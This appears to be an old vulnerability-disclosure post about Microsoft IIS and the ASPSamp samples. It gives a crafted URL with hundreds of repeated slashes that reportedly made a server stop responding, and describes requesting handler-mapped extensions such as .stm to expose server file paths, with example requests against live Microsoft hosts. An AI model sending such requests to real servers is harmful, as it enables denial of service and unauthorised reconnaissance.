IIS/ASP bugs

I tryed the following and the server stopped resoponding
on ieak.microsoft.com:

http://ieak.microsoft.com/ASPSamp/Samples/code.asp?source=/ASPSamp///////Samples/hello.asp

* replace //////// with a few hundred forward slashes

Looks like any IIS server with ASPSamp directory installed is
vulnerable..
(or ASPs that take file paths as input)

And something else... I notice handler mapped file extensions
reveal system file paths for web directories..
ie: try (.idq, .idc, .stm, .pl, .cgi) depending on what is mapped.

example : http://www.microsoft.com/badidea.stm

Returns "Error processing SSI file 'd:\http\badidea.stm'"
